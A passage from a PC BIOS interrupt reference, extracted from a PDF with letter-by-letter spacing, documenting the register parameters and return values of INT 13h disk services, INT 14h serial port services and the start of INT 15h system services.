- use t hi s f unct i on t o check f or val i d f or mat t ed di sket t e i n a
t he speci f i ed dr i ve and f or dr i ve r eady f or r ead
- onl y t he di sk number i s checked f or val i di t y
- t he par amet er s i n CX change dependi ng on t he number of cyl i nder s;
t he t r ack/ cyl i nder number i s a 10 bi t val ue t aken f r omt he 2 hi gh
or der bi t s of CL and t he 8 bi t s i n CH ( l ow or der 8 bi t s of t r ack) :

F E D C B A 9 8 7 6 5- 0 CX
sect or number
hi gh or der 2 bi t s of t r ack/ cyl i nder
l ow or der 8 bi t s of t r ack/ cyl number

- see ~DETECTI NG~

: i nt 13, 5
^I NT 13, 5 - For mat Di sk Tr ack

AH = 05
AL = i nt er l eave val ue ( XT onl y)
CX = t r ack/ cyl i nder number ( see bel ow f or f or mat )
DH = head number ( 0- 15 dec. )
DL = dr i ve number ( 0=A: , 1=2nd f l oppy, 80h=dr i ve 0, 81h=dr i ve 1)
ES: BX = poi nt er t o bl ock of " t r ack addr ess f i el ds" cont ai ni ng
f our byt e f i el ds f or each sect or t o be f or mat t ed of t he f or m:

1 byt e t r ack number
1 byt e head number Si ze #
1 byt e sect or number Codes Byt es
1 byt e sect or si ze code 0 128
1 256
2 512
3 1024
on r et ur n:
AH = st at us ( see ~I NT 13, STATUS~)
CF = 0 i f successf ul
= 1 i f er r or


- BI OS di sk wr i t e at t empt s shoul d r eset t he cont r ol l er on er r or
- ~I NT 13, 17~ shoul d be cal l ed t o set t he DASD t ype
- t hi s f unct i on i s capabl e of doi ng gr eat damage i f t he par amet er s
ar e i ncor r ect l y speci f i ed; onl y t he dr i ve number i s checked
- i ni t i al i zes di sk addr ess f i el ds and dat a sect or s
- i nt er l eave i s speci f i ed by or der i ng of t r ack addr ess f i el ds
- af t er I NT 13 di sk f or mat , i f t he di sk i s t o be used wi t h DOS t he
DOS dat a st r uct ur e must be wr i t t en
Pagina 876 di 991
- onl y t he di sk number i s checked f or val i di t y
- t he par amet er s i n CX change dependi ng on t he number of cyl i nder s;
t he t r ack/ cyl i nder number i s a 10 bi t val ue t aken f r omt he 2 hi gh
or der bi t s of CL and t he 8 bi t s i n CH ( l ow or der 8 bi t s of t r ack) :

F E D C B A 9 8 7 6 5- 0 CX ( cyl i nder val ue 0- 1023 dec. )
unused
hi gh or der 2 bi t s of t r ack/ cyl i nder
l ow or der 8 bi t s of t r ack/ cyl number

: i nt 13, 6
^I NT 13, 6 - For mat Tr ack and Set Bad Sect or Fl ags ( XT & por t abl e)

AH = 06
AL = I nt er l eave val ue ( XT onl y)
BX = f or mat buf f er , si ze = 512 byt es; t he f i r st
2*( sect or s/ t r ack) byt es cont ai n F, N f or each sect or
F = 00h f or good sect or ,
F = 80h f or bad sect or
N = sect or number


on r et ur n:
AH = st at us ( see ~I NT 13, STATUS~)
CF = 0 i f successf ul
= 1 i f er r or


- BI OS di sk wr i t e at t empt s shoul d r eset t he cont r ol l er on er r or
- onl y t he di sk number i s checked f or val i di t y
: i nt 13, 7
^I NT 13, 7 - For mat Dr i ve St ar t i ng at Speci f i ed Tr ack ( XT & por t abl e)

AH = 07
AL = i nt er l eave val ue ( XT onl y)
BX = f or mat buf f er , si ze = 512 byt es; t he f i r st 2*( sect or s/ t r ack)
byt es cont ai n F, N f or each sect or wher e:

F = 00h f or good sect or
F = 80h f or bad sect or
N = sect or number

on r et ur n:
AH = st at us ( see ~I NT 13, STATUS~)
CF = 0 i f successf ul
= 1 i f er r or


- BI OS di sk wr i t e at t empt s shoul d r eset t he cont r ol l er on er r or
- onl y t he di sk number i s checked f or val i di t y
: i nt 13, 8
^I NT 13, 8 - Get Cur r ent Dr i ve Par amet er s ( XT & newer )

AH = 08
DL = dr i ve number ( 0=A: , 1=2nd f l oppy, 80h=dr i ve 0, 81h=dr i ve 1)


on r et ur n:
AH = st at us ( see ~I NT 13, STATUS~)
BL = CMOS dr i ve t ype
01 - 5 360K 03 - 3 720K
02 - 5 1. 2Mb 04 - 3 1. 44Mb
CH = cyl i nder s ( 0- 1023 dec. see bel ow)
Pagina 877 di 991
CL = sect or s per t r ack ( see bel ow)
DH = number of si des ( 0 based)
DL = number of dr i ves at t ached
ES: DI = poi nt er t o 11 byt e ~Di sk Base Tabl e~ ( DBT)
CF = 0 i f successf ul
= 1 i f er r or


% Cyl i nder and Sect or s Per Tr ack For mat

F E D C B A 9 8 7 6 5 4 3 2 1 0 CX
sect or s per t r ack
hi gh or der 2 bi t s of cyl i nder count
l ow or der 8 bi t s of cyl i nder count

- t he t r ack/ cyl i nder number i s a 10 bi t val ue t aken f r omt he 2 hi gh
or der bi t s of CL and t he 8 bi t s i n CH ( l ow or der 8 bi t s of t r ack)
- many good pr ogr ammi ng r ef er ences i ndi cat e t hi s f unct i on i s onl y
avai l abl e on t he AT, PS/ 2 and l at er syst ems, but al l har d di sk
syst ems si nce t he XT have t hi s f unct i on avai l abl e
- onl y t he di sk number i s checked f or val i di t y
: i nt 13, 9
^I NT 13, 9 - I ni t i al i ze Fi xed Di sk Tabl e ( XT & newer )

AH = 09
DL = f i xed di sk number ( 80h=dr i ve 0, 81h=dr i ve 1)


on r et ur n:
AH = st at us ( see ~I NT 13, STATUS~)
CF = 0 i f successf ul
= 1 i f er r or


- set s speci f i ed f i xed di sk t abl e t o t he def aul t val ues f r omROM
- many good pr ogr ammi ng r ef er ences i ndi cat e t hi s f unct i on i s onl y
avai l abl e on t he AT, PS/ 2 and l at er syst ems, but al l har d di sk
syst ems si nce t he XT have t hi s f unct i on avai l abl e
- I NT 41h vect or i s poi nt er t o t abl e f or dr i ve 0
- I NT 46h vect or i s poi nt er t o t abl e f or dr i ve 1


^Tabl e def i ni t i ons l ocat ed by i nt er r upt vect or s 41H & 46H

% Of f set Si ze Descr i pt i on

00 wor d maxi mumnumber of cyl i nder s
02 byt e maxi mumnumber of heads
03 wor d st ar t i ng r educed wr i t e cur r ent cyl i nder
05 wor d st ar t i ng wr i t e pr e- comp cyl i nder
07 byt e maxi mumECC dat a bur st l engt h
08 byt e cont r ol byt e:


7 6 5 4 3 2 1 0 Cont r ol byt e
dr i ve opt i on
al ways zer o
di sabl e ECC r et r i es
di sabl e access r et i r es
: i nt 13, a
^I NT 13, A - Read Long Sect or ( XT & newer )

AH = 0A
Pagina 878 di 991
AL = number of sect or s ( 1- 121 dec. )
CH = t r ack number ( 0- 1023 dec. , see bel ow)
CL = sect or number ( 1- 17 dec. , see bel ow)
DH = head number ( 0- 15 dec. )
DL = f i xed dr i ve number ( 80h=dr i ve 0, 81h=dr i ve 1)
ES: BX = addr ess of buf f er


on r et ur n:
AH = st at us ( see ~I NT 13, STATUS~)
AL = number of sect or s act ual l y t r ansf er r ed
CF = 0 i f successf ul
= 1 i f er r or


- BI OS di sk r eads shoul d be r et r i ed at l east t hr ee t i mes and t he
cont r ol l er shoul d be r eset upon er r or det ect i on
- many good pr ogr ammi ng r ef er ences i ndi cat e t hi s f unct i on i s onl y
avai l abl e on t he AT, PS/ 2 and l at er syst ems, but al l har d di sk
syst ems si nce t he XT have t hi s f unct i on avai l abl e
- r eads r egul ar dat a sect or s ( 128- 1024 byt es) wi t h an addi t i onal
4 byt e ECC code i ncl uded
- a DMA boundar y er r or wi l l occur i f t he buf f er at ES: BX cr osses
a 64K segment boundar y
- onl y t he di sk number i s checked f or val i di t y
- t he par amet er s i n CX change dependi ng on t he number of cyl i nder s;
t he t r ack/ cyl i nder number i s a 10 bi t val ue t aken f r omt he 2 hi gh
or der bi t s of CL and t he 8 bi t s i n CH ( l ow or der 8 bi t s of t r ack) :

F E D C B A 9 8 7 6 5 4 3 2 1 0 CX
sect or number
hi gh or der 2 bi t s of t r ack number
l ow or der 8 bi t s of t r ack number

- see ~I NT 13, 2~

: i nt 13, b
^I NT 13, B - Wr i t e Long Sect or s ( XT & newer )

AH = 0B
AL = number of sect or s ( 1- 121 dec. )
CH = t r ack number ( 0- 1023 dec. , see bel ow)
CL = sect or number ( 1- 17 dec. , see bel ow)
DH = head number ( 0- 15 dec. )
DL = f i xed dr i ve number ( 80h=dr i ve 0, 81h=dr i ve 1)
ES: BX = addr ess of buf f er


on r et ur n:
AL = number of sect or s act ual l y t r ansf er r ed
AH = st at us ( see ~I NT 13, STATUS~)
CF = 0 i f successf ul
= 1 i f er r or


- BI OS di sk wr i t e at t empt s shoul d r eset t he cont r ol l er on er r or
- many good pr ogr ammi ng r ef er ences i ndi cat e t hi s f unct i on i s onl y
avai l abl e on t he AT, PS/ 2 and l at er syst ems, but al l har d di sk
syst ems si nce t he XT have t hi s f unct i on avai l abl e
- wr i t es r egul ar sect or s ( 128- 1024 byt es) wi t h addi t i onal 4 byt e
ECC code i ncl uded i n dat a
- a DMA boundar y er r or wi l l occur i f t he buf f er at ES: BX cr osses
a 64K segment boundar y
Pagina 879 di 991
- onl y t he di sk number i s checked f or val i di t y
- t he par amet er s i n CX change dependi ng on t he number of cyl i nder s;
t he t r ack/ cyl i nder number i s a 10 bi t val ue t aken f r omt he 2 hi gh
or der bi t s of CL and t he 8 bi t s i n CH ( l ow or der 8 bi t s of t r ack) :

F E D C B A 9 8 7 6 5 4 3 2 1 0 CX
sect or number
hi gh or der 2 bi t s of t r ack number
l ow or der 8 bi t s of t r ack number

- see ~I NT 13, 3~

: i nt 13, c
^I NT 13, C - Seek t o Cyl i nder ( XT & newer )

AH = 0C
CH = l ow or der byt e of cyl i nder number ( see bel ow)
CL = hi gh or der byt e of cyl i nder number ( see bel ow)
DH = head number ( 0- 15)
DL = f i xed dr i ve number ( 80h=dr i ve 0, 81h=dr i ve 1)


on r et ur n:
AH = st at us ( see ~I NT 13, STATUS~)
CF = 0 i f successf ul
= 1 i f er r or


- many good pr ogr ammi ng r ef er ences i ndi cat e t hi s f unct i on i s onl y
avai l abl e on t he AT, PS/ 2 and l at er syst ems, but al l har d di sk
syst ems si nce t he XT have t hi s f unct i on avai l abl e
- not i ce t hat CX i s i n r ever se byt e f or mat si mi l ar t o t he way dat a
i s st or ed i n memor y and r ever se of nor mal r egi st er st or age
- onl y t he di sk number i s checked f or val i di t y
- t he par amet er s i n CX change dependi ng on t he number of cyl i nder s;
t he t r ack/ cyl i nder number i s a 10 bi t val ue t aken f r omt he 2 hi gh
or der bi t s of CL and t he 8 bi t s i n CH ( l ow or der 8 bi t s of t r ack) :

F E D C B A 9 8 7 6 5- 0 CX
unused
hi gh or der 2 bi t s of t r ack number
l ow or der 8 bi t s of t r ack number
: i nt 13, d
^I NT 13, D - Al t er nat e Di sk Reset ( XT & newer )

AH = 0D
DL = f i xed dr i ve number ( 80h=dr i ve 0, 81h=dr i ve 1)


on r et ur n:
AH = st at us ( see ~I NT 13, STATUS~)
CF = 0 i f successf ul
= 1 i f er r or


- many good pr ogr ammi ng r ef er ences i ndi cat e t hi s f unct i on i s onl y
avai l abl e on t he AT, PS/ 2 and l at er syst ems, but al l har d di sk
syst ems si nce t he XT have t hi s f unct i on avai l abl e
- used t o f or ce dr i ve r ecal i br at i on si mi l ar t o ~I NT 13, 0~
- dr i ve heads ar e posi t i oned at t r ack zer o
: i nt 13, e
^I NT 13, E - Read Sect or Buf f er ( XT & por t abl e onl y)

Pagina 880 di 991

AH = 0E


on r et ur n:
AL = number of sect or s act ual l y t r ansf er r ed
AH = st at us ( see ~I NT 13, STATUS~)
CF = 0 i f successf ul
= 1 i f er r or
: i nt 13, f
^I NT 13, F - Wr i t e Sect or Buf f er ( XT & por t abl e onl y)


AH = 0F


on r et ur n:
AL = number of sect or s act ual l y t r ansf er r ed
AH = st at us ( see ~I NT 13, STATUS~)
CF = 0 i f successf ul
= 1 i f er r or
: i nt 13, 10
^I NT 13, 10 - Test f or Dr i ve Ready ( XT & newer )


AH = 10h
DL = dr i ve number ( 0=A: , 1=2nd f l oppy, 80h=dr i ve 0, 81h=dr i ve 1)


on r et ur n:
AH = st at us ( see ~I NT 13, STATUS~)
CF = 0 i f successf ul
= 1 i f er r or


- many good pr ogr ammi ng r ef er ences i ndi cat e t hi s f unct i on i s onl y
avai l abl e on t he AT, PS/ 2 and l at er syst ems, but al l har d di sk
syst ems si nce t he XT have t hi s f unct i on avai l abl e
: i nt 13, 11
^I NT 13, 11 - Recal i br at e Dr i ve ( XT & newer )


AH = 11h
DL = dr i ve number ( 0=A: , 1=2nd f l oppy, 80h=dr i ve 0, 81h=dr i ve 1)


on r et ur n:
AH = st at us ( see ~I NT 13, STATUS~)
CF = 0 i f successf ul
= 1 i f er r or


- many good pr ogr ammi ng r ef er ences i ndi cat e t hi s f unct i on i s onl y
avai l abl e on t he AT, PS/ 2 and l at er syst ems, but al l har d di sk
syst ems si nce t he XT have t hi s f unct i on avai l abl e
: i nt 13, 12
^I NT 13, 12 - Cont r ol l er RAM Di agnost i c ( XT & por t abl e onl y)


AH = 12h


on r et ur n:
Pagina 881 di 991
AH = st at us ( see ~I NT 13, STATUS~)
CF = 0 i f successf ul
= 1 i f er r or
: i nt 13, 13
^I NT 13, 13 - Dr i ve Di agnost i c ( XT & por t abl e onl y)


AH = 13h


on r et ur n:
AH = st at us ( see ~I NT 13, STATUS~)
CF = 0 i f successf ul
= 1 i f er r or
: i nt 13, 14
^I NT 13, 14 - Cont r ol l er I nt er nal Di agnost i c ( XT & newer )


AH = 14h


on r et ur n:
AH = st at us ( see ~I NT 13, STATUS~)
CF = 0 i f successf ul
= 1 i f er r or


- many good pr ogr ammi ng r ef er ences i ndi cat e t hi s f unct i on i s onl y
avai l abl e on t he AT, PS/ 2 and l at er syst ems, but al l har d di sk
syst ems si nce t he XT have t hi s f unct i on avai l abl e
- not val i d on PS/ 2 model 30
: i nt 13, 15
^I NT 13, 15 - Read DASD Type ( XT BI OS f r om1/ 10/ 86 & newer )

AH = 15h
DL = dr i ve number ( 0=A: , 1=2nd f l oppy, 80h=dr i ve 0, 81h=dr i ve 1)


on r et ur n:
AH = 00 dr i ve not pr esent
= 01 di sket t e, no change det ect i on pr esent
= 02 di sket t e, change det ect i on pr esent
= 03 f i xed di sk pr esent
CX: DX = number of f i xed di sk sect or s; i f 3 i s r et ur ned i n AH
CF = 0 i f successf ul
= 1 i f er r or


- XT' s must have a BI OS dat e 1/ 10/ 86 or newer
- used t o det er mi ne i f ~I NT 13, 16~ can det ect di sk change

- see ~I NT 13, STATUS~
: i nt 13, 16
^I NT 13, 16 - Change of Di sk St at us ( XT BI OS f r om1/ 10/ 86 & newer )


AH = 16h
DL = dr i ve number ( 0=A: , 1=2nd f l oppy, 80h=dr i ve 0, 81h=dr i ve 1)


on r et ur n:
AH = 00 no di sk change
= 01 di sk changed
Pagina 882 di 991
CF = set i f di sk has been r emoved or an er r or occur r ed


- used t o det ect i f a di sk change has occur r ed
- see ~I NT 13, STATUS~ ~I NT 13, 15~

: i nt 13, 17
^I NT 13, 17 - Set DASD Type f or For mat ( XT BI OS f r om1/ 10/ 86 & newer )


AH = 17h
AL = 00 no di sk
= 01 320k/ 360k di sket t e i n 320k/ 360k dr i ve
= 02 320k/ 360k di sket t e i n 1. 2Mb dr i ve
= 03 1. 2Mb di sket t e i n 1. 2Mb dr i ve
= 04 720k di sket t e i n 720k dr i ve ( BI OS 6/ 10/ 85 & newer )
720K di sket t e i n 1. 44Mb dr i ve ( PS/ 2)
1. 44Mb di sket t e i n 1. 44Mb dr i ve ( PS/ 2)
DL = dr i ve number ( 0=A: , 1=2nd f l oppy, 80h=dr i ve 0, 81h=dr i ve 1)


r et ur ns not hi ng


- onl y t he di sk number i s checked f or val i di t y
- t el l s BI OS f or mat r out i ne about t he di sk t ype

: i nt 13, 18
^I NT 13, 18 - Set Medi a Type f or For mat ( BI OS dat e speci f i c)


AH = 18h
CH = l ower 8 bi t s of number of t r acks ( 0- 1023 dec. , see bel ow)
CL = sect or s per t r ack ( 1- 17 dec. , see bel ow)
DL = dr i ve number ( 0=A: , 1=2nd f l oppy, 80h=dr i ve 0, 81h=dr i ve 1)


on r et ur n:
ES: DI = poi nt er t o 11- byt e ~Di sk Base Tabl e~ ( DBT)
AH = 00h i f r equest ed combi nat i on suppor t ed
= 01h i f f unct i on not avai l abl e
= 0Ch i f not suppor t ed or dr i ve t ype unknown
= 80h i f t her e i s no medi a i n t he dr i ve
CF = 0 i f successf ul
= 1 i f er r or


- val i d onl y f or XT BI OS dat ed af t er 1/ 10/ 86, AT af t er 11/ 15/ 86,
XT 286 and t he PS/ 2 l i ne
- onl y di sk number i s checked f or val i di t y
- t r ack number i s a 10 bi t val ue t aken f r omt he 2 hi gh or der
bi t s of CL and t he 8 bi t s i n CH ( l ow or der 8 bi t s of t r ack) :

F E D C B A 9 8 7 6 5 4 3 2 1 0 CX
sect or s per t r ack count
hi gh or der 2 bi t s t r ack/ cyl count
l ow or der 8 bi t s of t r ack/ cyl count

- see ~I NT 13, STATUS~

: i nt 13, 19
^I NT 13, 19 - Par k Fi xed Di sk Heads ( AT & newer )

Pagina 883 di 991

AH = 19h
DL = dr i ve number ( 0=A: , 1=2nd f l oppy, 80h=dr i ve 0, 81h=dr i ve 1)


on r et ur n:
AH = st at us ( see ~I NT 13, STATUS~)
CF = 0 i f successf ul
= 1 i f er r or


- avai l abl e onl y on AT, XT 283 and PS/ 2 machi nes
: i nt 13, 1a
^I NT 13, 1A - For mat Uni t ( PS/ 2 model 50+)

AH = 1Ah
AL = def ect t abl e count
DL = dr i ve number ( 0=A: , 1=2nd f l oppy, 80h=dr i ve 0, 81h=dr i ve 1)
ES: BX = f ar poi nt er t o def ect t abl e
CL = modi f i er bi t s

7 6 5 4 3 2 1 0 For mat Uni t Modi f i er Bi t s
1=i gnor e pr i mar y def ect map, 0=use map
1=i gnor e secondar y def ect map, 0=use map
1=updat e secondar y def ect map, 0=don' t
1=do ext ended sur f ace anal ysi s, 0=don' t
1=per i odi c i nt er r upt st at us on, 0=of f
r eser ved

r et ur ns not hi ng

- onl y t he di sk number i s checked f or val i di t y
- see ~I NT 13, STATUS~
: i nt 14: BI OS ser i al ser vi ces: BI OS communi cat i ons: i nt 14, st at us
^I NT 14 - BI OS Asynchr onous Communi cat i ons Ser vi ces

% For mor e i nf or mat i on, see t he f ol l owi ng t opi cs:

~I NT 14, 0~ I ni t i al i ze ser i al por t par amet er s
~I NT 14, 1~ Send char act er i n AL
~I NT 14, 2~ Recei ve char act er i n AL
~I NT 14, 3~ Get Ser i al por t st at us
~I NT 14, 4~ Ext ended i ni t i al i ze ( PS/ 2)
~I NT 14, 5~ Ext ended communi cat i on por t cont r ol ( PS/ 2)


- al l f unct i ons have:
AH = f unct i on number
AL = char act er t o send or r ecei ve
DX = zer o based RS232 car d number
- al l r egi st er s ar e pr eser ved except AX
- t hese f unct i ons use har dwar e f l ow cont r ol
- used by DOS MODE t o r edi r ect LPTx out put t o a ser i al devi ce
- see i ndi vi dual f unct i ons f or mor e dat a


^BI OS Asynchr onous Communi cat i ons Ser vi ces ( St at us)

7 6 5 4 3 2 1 0 AL modemst at us
cl ear t o send st at us changed
dat a set r eady st at us changed
t r ai l i ng edge r i ng i ndi cat or
r ecei ve l i ne si gnal changed
Pagina 884 di 991
cl ear t o send
dat a set r eady
r i ng i ndi cat or
r ecei ve l i ne si gnal det ect ed

7 6 5 4 3 2 1 0 AH por t st at us
dat a r eady
over r un er r or
par i t y er r or
f r ami ng er r or
br eak det ect
t r ansmi t hol di ng r egi st er empt y
t r ansmi t shi f t r egi st er empt y
t i me out ( N/ A f or f unct i ons 1 and 2)

: i nt 14, 0
^I NT 14, 0 - I ni t i al i ze Communi cat i ons Por t Par amet er s

AH = 00
AL = par ms f or i ni t i al i zat i on ( see t abl es bel ow)
DX = zer o based ser i al por t number ( 0- 1) ( 0- 3 f or AT)

7 6 5 4 3 2 1 0 AL Par i t y ( bi t s 4 & 3)
wor d l engt h bi t s 00 = none
st op bi t s f l ag 01 = odd
par i t y bi t s 10 = none
baud r at e bi t s 11 = even

% Wor d l engt h ( bi t s 1 & 0) St op bi t count ( bi t 2)

10 = 7 bi t s 0 = 1 st op bi t
11 = 8 bi t s 1 = 2 st op bi t s

% Baud r at e ( bi t s 7, 6 & 5)

000 = 110 baud 100 = 1200 baud
001 = 150 baud 101 = 2400 baud
010 = 300 baud 110 = 4800 baud
011 = 600 baud 111 = 9600 baud ( 4800 on PCj r )


on r et ur n:
AH = por t st at us
AL = modemst at us


- f or st at us bi t s see ~I NT 14, STATUS~

: i nt 14, 1
^I NT 14, 1 - Send Char act er t o Communi cat i ons Por t


AH = 01
AL = char act er t o send
DX = zer o based ser i al por t number ( 0- 1) ( 0- 3 f or AT)


on r et ur n:
AH = por t st at us ( see ~I NT 14, STATUS~)
bi t 7=0 i ndi cat es success
bi t 7=1 i ndi cat es er r or , bi t s 0- 6 i ndi cat e cause


Pagina 885 di 991
- ~I NT 14, 3~ shoul d be used t o det er mi ne t he act ual cause
of t he er r or si nce t he t i me- out bi t of t he st at us r egi st er
i s al ways set dur i ng an er r or on t hi s cal l
- uses har dwar e f l ow cont r ol
: i nt 14, 2
^I NT 14, 2 - Recei ve Char act er f r omCommuni cat i ons Por t

AH = 02
DX = zer o based ser i al por t number ( 0- 1) ( 0- 3 f or AT)


on r et ur n:
AH = por t st at us ( see ~I NT 14, STATUS~)
bi t 7 = 0 i f successf ul
bi t 7 = 1 i f cal l f ai l ed
AL = char act er r ecei ved i f cal l was success


- ~I NT 14, 3~ shoul d be used t o det er mi ne t he act ual cause of
t he er r or si nce t he t i me- out bi t of t he st at us r egi st er i s
al ways set dur i ng an er r or on t hi s cal l
- uses har dwar e f l ow cont r ol
: i nt 14, 3
^I NT 14, 3 - Get Ser i al Por t St at us


AH = 03
DX = zer o based ser i al por t number ( 0- 1) ( 0- 3 f or AT)


on r et ur n:
AH = por t st at us
AL = modemst at us

- f or st at us bi t s see ~I NT 14, STATUS~
- t he st at us check per f or ms a pol l of t he por t and does not
per f or mchar act er I / O
: i nt 14, 4
^I NT 14, 4 - Ser i al Por t Ext ended I ni t i al i zat i on ( PS/ 2 & l at er syst ems)

AH = 04
AL = br eak set t i ng
BH = par i t y set t i ng
BL = st op bi t set t i ng
CH = wor d l engt h set t i ng
CL = baud r at e set t i ng
DX = zer o based ser i al por t number ( 0- 3)

% - - - Br eak Set t i ng - - -
1 = br eak
0 = no br eak

% - - - - - Par i t y Set t i ng - - - - - - - - St op Bi t Set t i ng - - -

0 = no par i t y 0 = one st op bi t
1 = odd par i t y 1 = 2 st op bi t s
2 = even par i t y 1 i f r egi st er CH=0
3 = st i ck par i t y odd ( 5 bi t wor d l engt h)
4 = st i ck par i t y even

% - - Wor d Lengt h Set t i ng - - - - - - Baud r at e Set t i ng - - - -

0 = 5 bi t s 0 = 110 5 = 2400
Pagina 886 di 991
1 = 6 bi t s 1 = 150 6 = 4800
2 = 7 bi t s 2 = 300 7 = 9600
3 = 8 bi t s 3 = 600 8 = 19200
4 = 1200

on r et ur n:
AH = por t st at us
AL = modemst at us


- f or st at us bi t s see ~I NT 14, STATUS~

: i nt 14, 5
^I NT 14, 5 - Ext ended Communi cat i on Por t Cont r ol ( PS/ 2 & l at er syst ems)

AH = 05
AL = r ead or wr i t e modemcont r ol r egi st er
= 00 r ead modemcont r ol r egi st er
= 01 r ead modemcont r ol r egi st er
DX = zer o based ser i al por t number ( 0- 1) ( 0- 3 f or AT)

BL = modemcont r ol r egi st er

7 6 5 4 3 2 1 0 BL
1 = act i vat e dat a t er mi nal r eady
1 = act i vat e r equest t o send
OUT1
OUT2
0 = nor mal , 1 = l oopback t est
r eser ved, f or ced t o zer o

on r et ur n:
AH = por t st at us
AL = modemst at us
BL = ~UART~ modemcont r ol r egi st er

- f or st at us bi t s see ~I NT 14, STATUS~

: i nt 15: BI OS syst emser vi ces: syst emi nt er r upt s
^I NT 15 - Syst emBI OS Ser vi ces

^For mor e i nf or mat i on see t he f ol l owi ng t opi cs:

~I NT 15, 0~ Tur n casset t e mot or on ( PC, PCj r onl y)
~I NT 15, 1~ Tur n casset t e mot or of f ( PC, PCj r onl y)
~I NT 15, 2~ Read bl ocks f r omcasset t e ( PC, PCj r onl y)
~I NT 15, 3~ Wr i t e bl ocks t o casset t e ( PC, PCj r onl y)
~I NT 15, F~ PS/ 2 f or mat per i odi c i nt er r upt ( PS/ 2 onl y)
~I NT 15, 20~ PRI NT. COM Cr i t i cal r egi on f l ag ( undocument ed DOS 3. x+)
~I NT 15, 21~ PS/ 2 power on sel f t est ( PS/ 2 except 30)
~I NT 15, 40~ Read / modi f y pr of i l es ( conver t i bl e onl y)
~I NT 15, 41~ Wai t on ext er nal event ( conver t i bl e onl y)
~I NT 15, 42~ Request syst empower of f ( conver t i bl e onl y)
~I NT 15, 43~ Read syst emst at us ( conver t i bl e onl y)
~I NT 15, 44~ ( De) act i vat e i nt er nal modempower ( conver t i bl e)
~I NT 15, 4F~ Keyboar d i nt er cept ( BI OS dat e speci f i c)
~I NT 15, 80~ Devi ce open
~I NT 15, 81~ Devi ce cl ose
~I NT 15, 82~ Pr ogr amt er mi nat i on
~I NT 15, 83~ Event wai t
~I NT 15, 84~ J oy- St i ck suppor t
~I NT 15, 85~ Syst emr equest key pr essed
~I NT 15, 86~ El apsed t i me wai t ( AT and af t er )
Pagina 887 di 991
~I NT 15, 87~ Move bl ock t o/ f r omext ended memor y
~I NT 15, 88~ Ext ended memor y si ze det er mi nat i on
~I NT 15, 89~ Swi t ch pr ocessor t o pr ot ect ed mode
~I NT 15, 90~ Devi ce busy
~I NT 15, 91~ I nt er r upt compl et e
~I NT 15, C0~ Ret ur n syst emconf i gur at i on par amet er s ( PS/ 2 onl y)
~I NT 15, C1~ Ret ur n ext ended BI OS dat a addr ess ( PS/ 2 onl y)
~I NT 15, C2~ Poi nt i ng devi ce BI OS i nt er f ace ( PS/ 2 onl y)
~I NT 15, C3~ Enabl e/ Di sabl e wat chdog t i mer
~I NT 15, C4~ Pr ogr ammabl e opt i on sel ect


- CF i s set and AX i s l ef t unchanged i f a f unct i on r equest ed i n AH
i sn' t suppor t ed
- some Tandy BI OS' s f ai l t o r est or e i nt er r upt s on r et ur n f r omI NT 15

: i nt 15, 0
^I NT 15, 0 - Tur n Casset t e Mot or On ( PC, PCj r onl y)


AH = 00


- al l pr ogr ams usi ng t he casset t e must act ual l y t ur n on
t he devi ce bef or e use
- t her e i s a not i ceabl e del ay bet ween t ur n- on and devi ce r eady
- a not i ceabl e cl i cki ng noi se can be hear d by swi t chi ng t he
casset t e on and of f

- see ~I NT 15, 1~

: i nt 15, 1
^I NT 15, 1 - Tur n Casset t e Mot or Of f ( PC, PCj r onl y)


AH = 01


- al l pr ogr ams usi ng t he casset t e shoul d t ur n of f
t he devi ce af t er use
- a not i ceabl e cl i cki ng noi se can be hear d by swi t chi ng t he
casset t e on and of f

- see ~I NT 15, 0~

: i nt 15, 2
^I NT 15, 2 - Read Bl ocks f r omCasset t e ( PC, PCj r onl y)

AH = 02
CX = count of byt es t o r ead
ES: BX = poi nt er t o dat a buf f er


on r et ur n:

AH = er r or code i f CF=1
= 1 i f CRC er r or
= 2 dat a t r ansi t i on l ost , ( bi t si gnal scr ambl ed)
= 3 no dat a f ound on t ape

DX = count of byt es act ual l y r ead
ES: BX = poi nt er t o byt e f ol l owi ng l ast byt e r ead

Pagina 888 di 991

- dat a i s t r ansf er r ed i n 256 byt e bl ocks, t hough onl y t he
number of byt es r equest ed ar e act ual l y st or ed

: i nt 15, 3
^I NT 15, 3 - Wr i t e Bl ocks t o Casset t e ( PC, PCj r onl y)


AH = 03
CX = count of byt es t o wr i t e
ES: BX = poi nt er t o dat a buf f er


on r et ur n:

CX = zer o
ES: BX = poi nt er t o byt e f ol l owi ng l ast byt e wr i t t en


- dat a i s act ual l y wr i t t en i n 256 byt e bl ocks
- i f CX i s l ess t han 256, t hen t he bl ock i s padded
- no er r or det ect i on/ cor r ect i on i s avai l abl e f or wr i t i ng

: i nt 15, f
^I NT 15, F - For mat Per i odi c I nt er r upt ( PS/ 2 onl y)

AH = 0F
AL = phase code
= 00 r eser ved
= 01 sur f ace anal ysi s
= 02 f or mat t i ng

on r et ur n:
CF = 0 cont i nue f or mat t i ng/ scanni ng
= 1 end of f or mat / scanni ng

- af t er f or mat t i ng/ scanni ng each cyl i nder t he f or mat t i ng
r out i ne cal l s t hi s i nt er r upt
- may be used by a pr ogr amt o gai n cont r ol af t er f or mat t i ng
a cyl i nder
- i f i nvoked f r oma non- PS/ 2 CF=1 and AH cont ai ns t he f ol l owi ng
AH = 80h f or PC and PCj r
= 86h on most ot her machi nes
: i nt 15, 20
^I NT 15, 20 - PRI NT. COM Cr i t i cal Regi on Fl ag ( undocument ed DOS 3. x+)

AH = 20h
AL = 00 di sabl e user cr i t i cal r egi on f l ag
= 01 enabl e user cr i t i cal r egi on f l ag
ES: BX = poi nt er t o user cr i t i cal r egi on f l ag byt e ( AH = 1)


r et ur ns not hi ng


- pr ovi des PRI NT. COM wi t h t he addr ess of a byt e t o i ncr ement on
ent r y t o DOS f unct i ons
- see ~bi bl i ogr aphy~ r ef er ence f or " Undocument ed DOS"
: i nt 15, 21
^I NT 15, 21 - Power On Sel f Test ( POST) Er r or Log ( PS/ 2 except 30)

AH = 21h
AL = 00 r ead POST er r or l og
Pagina 889 di 991
= 01 wr i t e er r or code t o POST er r or l og
BH = Devi ce code ( i f wr i t e)
BL = Devi ce er r or ( i f wr i t e)

on r et ur n
CF = 0 i f successf ul
= 1 i f i n er r or ( AH cont ai ns code)

% i f r eadi ng POST er r or l og:
AH = 00h i f successf ul
= 80h ( PCj r and PC) = 86h f or al l ot her machi nes
BX = number of POST er r or codes st or ed
ES: DI poi nt er t o POST er r or l og

% i f wr i t i ng POST er r or l og:
AH = 00h i f successf ul = 01 POST er r or l og f ul l
